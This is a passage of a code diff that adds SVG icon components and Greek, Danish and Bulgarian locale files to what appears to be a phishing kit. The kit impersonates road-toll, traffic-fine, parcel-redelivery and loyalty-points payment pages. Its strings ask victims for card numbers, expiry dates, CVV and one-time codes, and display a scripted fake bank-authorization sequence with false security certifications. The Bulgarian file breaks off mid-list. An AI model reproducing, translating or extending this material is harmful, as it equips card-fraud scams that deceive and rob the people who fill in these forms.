d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<template>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||||
|
<path
|
||||||
|
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
|
||||||
|
<template>
|
||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||||
|
aria-hidden="true"
|
||||||
|
role="img"
|
||||||
|
class="iconify iconify--mdi"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
preserveAspectRatio="xMidYMid meet"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
>
|
||||||
|
<path
|
||||||
|
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
|
||||||
|
fill="currentColor"
|
||||||
|
></path>
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
132
a11_bg_Fine_kat-obligations/src/locales/cy/index.ts
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
|
||||||
|
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
|
||||||
|
"Your Name": "Το όνομά σας",
|
||||||
|
"Address": "Διεύθυνση",
|
||||||
|
"Detailed Address": "Λεπτομερής Διεύθυνση",
|
||||||
|
"(Optional)": "(Προαιρετικό)",
|
||||||
|
"City": "Πόλη",
|
||||||
|
"State": "Πολιτεία",
|
||||||
|
"Province": "Επαρχία",
|
||||||
|
"Region": "Περιοχή",
|
||||||
|
"Zip Code": "Ταχυδρομικός Κώδικας",
|
||||||
|
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
|
||||||
|
"Next": "Επόμενο",
|
||||||
|
"Telephone Number": "Αριθμός Τηλεφώνου",
|
||||||
|
"Online": "Online",
|
||||||
|
"Payment": "Πληρωμή",
|
||||||
|
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
|
||||||
|
"lump sum: ": "Εφάπαξ: ",
|
||||||
|
"Cardholder": "Κάτοχος Κάρτας",
|
||||||
|
"Card Number": "Αριθμός Κάρτας",
|
||||||
|
"Expire Date": "Ημερομηνία Λήξης",
|
||||||
|
"Security Code": "Κωδικός Ασφαλείας",
|
||||||
|
"Submit": "Υποβολή",
|
||||||
|
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
|
||||||
|
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
|
||||||
|
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
|
||||||
|
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
|
||||||
|
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
|
||||||
|
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
|
||||||
|
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
|
||||||
|
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
|
||||||
|
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
|
||||||
|
"Mailing address": "Διεύθυνση Αποστολής",
|
||||||
|
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
|
||||||
|
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
|
||||||
|
"Safe payment": "Ασφαλής Πληρωμή",
|
||||||
|
"Verification code": "Κωδικός Επαλήθευσης",
|
||||||
|
"Welcome": "Καλώς ήρθατε",
|
||||||
|
"back": "Πίσω!",
|
||||||
|
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
|
||||||
|
"Check your points": "Ελέγξτε τους πόντους σας",
|
||||||
|
"Phone number": "Αριθμός Τηλεφώνου",
|
||||||
|
"Inquire": "Ρωτήστε",
|
||||||
|
"Exchange": "Ανταλλαγή",
|
||||||
|
"Spend points": "Ξοδέψτε Πόντους",
|
||||||
|
"Points Available": "Διαθέσιμοι Πόντοι",
|
||||||
|
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
|
||||||
|
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
|
||||||
|
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
|
||||||
|
"Order number": "Αριθμός Παραγγελίας: ",
|
||||||
|
"Pay": "Πληρωμή",
|
||||||
|
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
|
||||||
|
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
|
||||||
|
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
|
||||||
|
"Billing Information": "Πληροφορίες Τιμολόγησης",
|
||||||
|
"Description": "Περιγραφή",
|
||||||
|
"Dear customer": "Αγαπητέ πελάτη:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
|
||||||
|
"Invoice Number": "Αριθμός Τιμολογίου",
|
||||||
|
"Amount": "Ποσό",
|
||||||
|
"Pay Immediately": "Πληρώστε Άμεσα",
|
||||||
|
"Phone Number": "Αριθμός Τηλεφώνου",
|
||||||
|
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
|
||||||
|
"Illustrate": "Επεξηγήστε",
|
||||||
|
"SSL Encryption": "Κρυπτογράφηση SSL",
|
||||||
|
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
|
||||||
|
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
|
||||||
|
"Transaction ID:": "Αριθμός Συναλλαγής:",
|
||||||
|
"Processing Network:": "Δίκτυο Επεξεργασίας:",
|
||||||
|
"Processing Time:": "Χρόνος Επεξεργασίας:",
|
||||||
|
"Security Level:": "Επίπεδο Ασφαλείας:",
|
||||||
|
"Preparing...": "Προετοιμασία...",
|
||||||
|
"High": "Υψηλό",
|
||||||
|
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
|
||||||
|
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
|
||||||
|
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
|
||||||
|
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
|
||||||
|
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
|
||||||
|
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
|
||||||
|
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
|
||||||
|
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
|
||||||
|
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
|
||||||
|
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
|
||||||
|
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
|
||||||
|
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
|
||||||
|
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
|
||||||
|
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
|
||||||
|
"UnionPay Gateway": "Πύλη UnionPay",
|
||||||
|
"{time} seconds": "{time} δευτερόλεπτα",
|
||||||
|
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
|
||||||
|
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
|
||||||
|
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
|
||||||
|
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
|
||||||
|
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
|
||||||
|
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
|
||||||
|
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
|
||||||
|
"Toll Payment": "Πληρωμή Διοδίων",
|
||||||
|
"License Plate Number": "Αριθμός Κυκλοφορίας",
|
||||||
|
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
|
||||||
|
|
||||||
|
"Tolls": "Διόδια",
|
||||||
|
"Due Date": "Ημερομηνία Λήξης",
|
||||||
|
|
||||||
|
"Fine Amount": "Ποσό προστίμου",
|
||||||
|
|
||||||
|
"Pay Now": "Πληρώστε Τώρα",
|
||||||
|
|
||||||
|
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
|
||||||
|
|
||||||
|
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
|
||||||
|
"First and Last Name": "Όνομα και Επώνυμο",
|
||||||
|
|
||||||
|
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||||
|
"Expiration Date": "Ημερομηνία Λήξης",
|
||||||
|
"MM/YY": "MM/ΕΕ",
|
||||||
|
|
||||||
|
"123(CVV)": "123(CVV)",
|
||||||
|
"Card Icon": "Εικονίδιο Κάρτας",
|
||||||
|
"CVV": "CVV",
|
||||||
|
|
||||||
|
|
||||||
|
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
|
||||||
|
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
|
||||||
|
"Phone": "Τηλέφωνο",
|
||||||
|
"Toll Amount": "Ποσό Διοδίων",
|
||||||
|
"50.00 EUR": "50.00 EUR"
|
||||||
|
};
|
||||||
96
a11_bg_Fine_kat-obligations/src/locales/dk/index.ts
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
|
||||||
|
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
|
||||||
|
"Your Name": "Dit navn",
|
||||||
|
"Address": "Adresse",
|
||||||
|
"Detailed Address": "Detaljeret adresse",
|
||||||
|
"(Optional)": "(Valgfrit)",
|
||||||
|
"City": "By",
|
||||||
|
"State": "Stat",
|
||||||
|
"Province": "Provins",
|
||||||
|
"Region": "Region",
|
||||||
|
"Zip Code": "Postnummer",
|
||||||
|
"E-Mail": "E-mail",
|
||||||
|
"Next": "Næste",
|
||||||
|
"Telephone Number": "Telefonnummer",
|
||||||
|
"Online": "Online",
|
||||||
|
"Payment": "Betaling",
|
||||||
|
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||||
|
"lump sum: ": "Engangsbeløb: ",
|
||||||
|
"Cardholder": "Kortholder",
|
||||||
|
"Card Number": "Kortnummer",
|
||||||
|
"Expire Date": "Udløbsdato",
|
||||||
|
"Security Code": "Sikkerhedskode",
|
||||||
|
"Submit": "Indsend",
|
||||||
|
"Click here to receive another code": "Klik her for at modtage en ny kode",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
|
||||||
|
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
|
||||||
|
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
|
||||||
|
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
|
||||||
|
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
|
||||||
|
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
|
||||||
|
"Authorized bank": "Autoriseret bank",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
|
||||||
|
"Please do not close this page": "Luk venligst ikke denne side",
|
||||||
|
"Payment Successful": "Betaling lykkedes!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
|
||||||
|
"Mailing address": "Postadresse",
|
||||||
|
"street address or house number": "Gadeadresse eller husnummer",
|
||||||
|
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
|
||||||
|
"Safe payment": "Sikker betaling",
|
||||||
|
"Verification code": "Bekræftelseskode",
|
||||||
|
"Welcome": "Velkommen",
|
||||||
|
"back": "tilbage!",
|
||||||
|
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
|
||||||
|
"Check your points": "Tjek dine point",
|
||||||
|
"Phone number": "Telefonnummer",
|
||||||
|
"Inquire": "Forespørg",
|
||||||
|
"Exchange": "Byt",
|
||||||
|
"Spend points": "Brug point",
|
||||||
|
"Points Available": "Tilgængelige point",
|
||||||
|
"You don't have enough points": "Du har ikke nok point",
|
||||||
|
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
|
||||||
|
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
|
||||||
|
"Order number": "Ordrenummer: ",
|
||||||
|
"Pay": "Betal",
|
||||||
|
"Pay Message": "Betal {0} for at indløse point til varer",
|
||||||
|
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
|
||||||
|
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
|
||||||
|
"Billing Information": "Faktureringsoplysninger",
|
||||||
|
"Description": "Beskrivelse",
|
||||||
|
"Dear customer": "Kære kunde:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
|
||||||
|
"Invoice Number": "Fakturanummer",
|
||||||
|
"Amount": "Beløb",
|
||||||
|
"Pay Immediately": "Betal straks",
|
||||||
|
"Phone Number": "Telefonnummer",
|
||||||
|
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
|
||||||
|
"Illustrate": "Illustrer",
|
||||||
|
"SSL Encryption": "SSL-kryptering",
|
||||||
|
"PCI-DSS Certified": "PCI-DSS-certificeret",
|
||||||
|
"Transaction Details": "Transaktionsdetaljer",
|
||||||
|
"Transaction ID:": "Transaktions-ID:",
|
||||||
|
"Processing Network:": "Behandlingsnetværk:",
|
||||||
|
"Processing Time:": "Behandlingstid:",
|
||||||
|
"Security Level:": "Sikkerhedsniveau:",
|
||||||
|
"Preparing...": "Forbereder...",
|
||||||
|
"High": "Høj",
|
||||||
|
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
|
||||||
|
"Encrypting card information...": "Krypterer kortoplysninger...",
|
||||||
|
"Establishing secure connection...": "Etablerer sikker forbindelse...",
|
||||||
|
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
|
||||||
|
"Validating CVV code...": "Validerer CVV-kode...",
|
||||||
|
"Checking fraud risk...": "Tjekker svindelrisiko...",
|
||||||
|
"Sending transaction request...": "Sender transaktionsanmodning...",
|
||||||
|
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
|
||||||
|
"Processing bank response...": "Behandler banksvar...",
|
||||||
|
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
|
||||||
|
"Finalizing transaction...": "Afslutter transaktion...",
|
||||||
|
"Visa Secure Network": "Visa Secure Network",
|
||||||
|
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
|
||||||
|
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
|
||||||
|
"UnionPay Gateway": "UnionPay Gateway",
|
||||||
|
"{time} seconds": "{time} sekunder",
|
||||||
|
"International Payment Network": "Internationalt Betalingsnetværk"
|
||||||
|
}
|
||||||
150
a11_bg_Fine_kat-obligations/src/locales/en/index.ts
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check": "Има грешка в това поле, моля проверете",
|
||||||
|
"Please enter a valid email address": "Моля, въведете валиден имейл адрес",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery": "Уважаеми потребители, моля попълнете формуляра внимателно, за да осигурите успешна доставка",
|
||||||
|
"Your Name": "Вашето име",
|
||||||
|
"Address": "Адрес",
|
||||||
|
"Detailed Address": "Подробен адрес",
|
||||||
|
"(Optional)": "(По избор)",
|
||||||
|
"City": "Град",
|
||||||
|
"State": "Област",
|
||||||
|
"Province": "Провинция",
|
||||||
|
"Region": "Регион",
|
||||||
|
"Zip Code": "Пощенски код",
|
||||||
|
"E-Mail": "Имейл",
|
||||||
|
"Next": "Напред",
|
||||||
|
"Telephone Number": "Телефонен номер",
|
||||||
|
"Online": "Онлайн",
|
||||||
|
"Payment": "Плащане",
|
||||||
|
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За повторна доставка се изисква такса за обслужване. Вашият пакет ще бъде изпратен след потвърждение на плащането.",
|
||||||
|
"lump sum: ": "Обща сума: ",
|
||||||
|
"Cardholder": "Име на картодържателя",
|
||||||
|
"Card Number": "Номер на карта",
|
||||||
|
"Expire Date": "Дата на валидност",
|
||||||
|
"Security Code": "Код за сигурност (CVV)",
|
||||||
|
"Submit": "Изпрати",
|
||||||
|
"Click here to receive another code": "Натиснете тук, за да получите нов код",
|
||||||
|
"Please confirm your identity and a one-time code will be sent": "Моля, потвърдете самоличността си; еднократен код (OTP) ще бъде изпратен на вашия телефон или имейл. Въведете кода тук.",
|
||||||
|
"The verification code has been sent to": "Кодът за потвърждение беше изпратен на",
|
||||||
|
"Please do not click the": "Моля, не натискайте „Обнови“ или „Назад“, тъй като това може да прекъсне транзакцията.",
|
||||||
|
"Verification code error, please try again": "Грешен код за потвърждение, моля опитайте отново",
|
||||||
|
"The session is about to expire, please complete the verification now": "Сесията е на път да изтече, моля завършете потвърждението сега",
|
||||||
|
"This card does not support this transaction, please try another card": "Тази карта не поддържа тази транзакция, моля опитайте с друга карта",
|
||||||
|
"Authorized bank": "Оторизирана банка",
|
||||||
|
"Please go to the bank App to confirm the authorization": "Моля, отворете банковото приложение, за да потвърдите операцията",
|
||||||
|
"Please do not close this page": "Моля, не затваряйте тази страница",
|
||||||
|
"Payment Successful": "Плащането е успешно!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully": "Благодарим ви. Вашето плащане беше обработено успешно.",
|
||||||
|
"Mailing address": "Адрес за доставка",
|
||||||
|
"street address or house number": "Улица и номер",
|
||||||
|
"Apartment number": "Апартамент, етаж, офис и др.",
|
||||||
|
"Safe payment": "Сигурно плащане",
|
||||||
|
"Verification code": "Код за потвърждение",
|
||||||
|
"Welcome": "Добре дошли",
|
||||||
|
"back": "Назад",
|
||||||
|
"We reward you for using point services": "Награждаваме ви за използването на нашите услуги с точки",
|
||||||
|
"Check your points": "Проверете баланса си от точки",
|
||||||
|
"Phone number": "Телефонен номер",
|
||||||
|
"Inquire": "Провери",
|
||||||
|
"Exchange": "Обмени",
|
||||||
|
"Spend points": "Използвай точки",
|
||||||
|
"Points Available": "Налични точки",
|
||||||
|
"You don't have enough points": "Недостатъчен баланс от точки",
|
||||||
|
"Please redeem your favorite product": "Моля, изберете предпочитаната си награда",
|
||||||
|
"Confirm your shipping address": "Потвърдете адреса за доставка",
|
||||||
|
"Order number": "Номер на поръчка: ",
|
||||||
|
"Pay": "Плати",
|
||||||
|
"Pay Message": "Платете {0}, за да обмените точките си за награди",
|
||||||
|
"Pay electronic tolls online": "Платете електронни пътни такси онлайн",
|
||||||
|
"your electronic toll payment was unsuccessful": "Вашето плащане на пътна такса беше неуспешно.",
|
||||||
|
"Billing Information": "Информация за плащане",
|
||||||
|
"Description": "Описание",
|
||||||
|
"Dear customer": "Уважаеми клиенте:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Плащането на електронната комуникационна такса е неуспешно",
|
||||||
|
"Invoice Number": "Номер на фактура / известие",
|
||||||
|
"Amount": "Сума",
|
||||||
|
"Pay Immediately": "Плати веднага",
|
||||||
|
"Phone Number": "Телефонен номер",
|
||||||
|
"Electronic communication fee payment failed": "Плащането на таксата за електронна комуникация е неуспешно",
|
||||||
|
"Illustrate": "Подробности",
|
||||||
|
"SSL Encryption": "SSL криптиране",
|
||||||
|
"PCI-DSS Certified": "PCI-DSS сертифициран",
|
||||||
|
"Transaction Details": "Детайли за транзакцията",
|
||||||
|
"Transaction ID:": "ID на транзакцията:",
|
||||||
|
"Processing Network:": "Мрежа за обработка:",
|
||||||
|
"Processing Time:": "Време за обработка:",
|
||||||
|
"Security Level:": "Ниво на сигурност:",
|
||||||
|
"Preparing...": "Подготовка...",
|
||||||
|
"High": "Високо",
|
||||||
|
"Initializing payment environment...": "Инициализиране на защитена платежна среда...",
|
||||||
|
"Encrypting card information...": "Криптиране на информацията за картата...",
|
||||||
|
"Establishing secure connection...": "Установяване на защитена връзка...",
|
||||||
|
"Verifying card number and issuer...": "Проверка на номера и издателя на картата...",
|
||||||
|
"Validating CVV code...": "Проверка на CVV кода...",
|
||||||
|
"Checking fraud risk...": "Проверка за риск от измама...",
|
||||||
|
"Sending transaction request...": "Изпращане на заявка за транзакция...",
|
||||||
|
"Waiting for bank authorization...": "Изчакване на банково потвърждение...",
|
||||||
|
"Processing bank response...": "Обработка на банковия отговор...",
|
||||||
|
"Confirming transaction status...": "Потвърждаване на статуса на транзакцията...",
|
||||||
|
"Finalizing transaction...": "Финализиране на транзакцията...",
|
||||||
|
"Visa Secure Network": "Visa защитена мрежа",
|
||||||
|
"Mastercard Global Payment Network": "Mastercard глобална платежна мрежа",
|
||||||
|
"American Express Dedicated Channel": "Специализиран канал на American Express",
|
||||||
|
"UnionPay Gateway": "UnionPay платежен шлюз",
|
||||||
|
"{time} seconds": "{time} секунди",
|
||||||
|
"International Payment Network": "Международна платежна мрежа",
|
||||||
|
"Homepage License Plate": "Регистрационен номер",
|
||||||
|
"JCC Smart Cyprus Image": "Изображение за сигурност",
|
||||||
|
"Check Your Payment Details": "Проверете данните за плащането",
|
||||||
|
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Въведете регистрационния номер на вашето превозно средство, за да потвърдите акаунта си и да избегнете глоби.",
|
||||||
|
"Enter license plate number (e.g. XYZ1234)": "Въведете регистрационен номер (напр. CB1234AB)",
|
||||||
|
"Verify Payment Details": "Потвърдете данните за плащането",
|
||||||
|
"Toll Payment": "Плащане на такса / глоба",
|
||||||
|
"License Plate Number": "Регистрационен номер",
|
||||||
|
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информация за нарушение (напр. превишена скорост). Първо нарушение <strong>100 лв.</strong>, второ нарушение <strong>300 лв.</strong> и т.н.",
|
||||||
|
"Tolls": "Глоби / Такси",
|
||||||
|
"Due Date": "Краен срок",
|
||||||
|
"Fine Amount": "Сума на глобата",
|
||||||
|
"Pay Now": "Плати сега",
|
||||||
|
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Моля, имайте предвид, че поради закъсняло плащане тази транзакция приема само кредитни карти.",
|
||||||
|
"Cardholder Name": "Име на картодържателя",
|
||||||
|
"First and Last Name": "Име и фамилия",
|
||||||
|
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||||
|
"Expiration Date": "Дата на валидност",
|
||||||
|
"MM/YY": "MM/YY",
|
||||||
|
"123(CVV)": "123 (CVV)",
|
||||||
|
"Card Icon": "Икона на карта",
|
||||||
|
"CVV": "CVV",
|
||||||
|
"Successful Toll Payment": "Успешно плащане",
|
||||||
|
